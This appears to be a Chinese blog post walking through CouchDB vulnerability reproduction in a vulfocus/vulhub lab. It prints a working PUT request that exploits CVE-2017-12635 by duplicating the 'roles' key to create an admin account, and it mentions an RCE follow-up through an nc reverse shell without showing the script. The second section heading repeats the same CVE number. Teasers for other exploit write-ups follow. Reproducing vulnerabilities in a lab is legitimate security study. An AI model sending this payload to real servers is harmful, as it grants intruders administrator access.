CouchDB漏洞复现

CouchDB漏洞复现在vulfocus环境下

一、漏洞复现地址如下：
https://vulfocus.cn/
二、CouchDB复现权限绕过（CVE-2017-12635）
小于 1.7.0 以及小于 2.1.1
可绕过创建权限而去实现任意创建admin权限的账号实现登录。
1、正常创建数据包（发现无权限）
2、绕过权限数据包

PUT /_users/org.couchdb.user:vulhub{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"}

3、成功实现绕过，到/_utils 目录下验证登陆。
三、CouchDB复现权限绕过（CVE-2017-12635）
实现权限绕过并成功登录admin账号后，可实现此漏洞实现rce。直接使用了网上SF的exp脚本反弹shell如下：
这个环境换到了本地搭建的vulhub。
攻击机nc监听，直接执行脚本文件：

CouchDB漏洞复现相关推荐

漏洞检测与防御：Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...
成功爬取CVE-2019-9766漏洞复现【CSDN】【1】
代码: import requests import bs4 from bs4 import BeautifulSoup import ress = '' headers = {'user-agent ...
docker逃逸漏洞复现 cve-2019-5736
0x01 概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现.该漏洞编号为CVE-2019-5736,漏洞影 ...
php 远程代码执行漏洞复现 cve-2019-11043
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
java struts2 漏洞复现合集
目录一.S2-001复现二.S2-005复现三.S2-007复现四.S2-008复现五.S2-009复现六.S2-012复现七.S2-013复现八.S2-015复现九.S2-016复 ...
Jenkins cve-2016-0792 漏洞复现 Xstream 反序列化漏洞
环境搭建首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载,在官网和百度一开始都是没找到的,包括看了其他人的分析,但是都没有找到环境搭建,大部分是直接复现和poc分析 ...
winrar远程代码执行漏洞复现(cve-2018-20250)
使用metasploit验证漏洞 1.漏洞影响 WinRAR < 5.70 Beta 1 Bandizip< = 6.2.0.0 好压(2345压缩) < = 5.9.8.10907 ...
Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
Winrar目录穿越漏洞复现
Winrar目录穿越漏洞复现 1.漏洞概述 WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在Windows环境下的图形界面.2019年 2 月 20 日Check Point团队爆出了 ...

CouchDB漏洞复现

CouchDB漏洞复现在vulfocus环境下

CouchDB漏洞复现相关推荐

最新文章

热门文章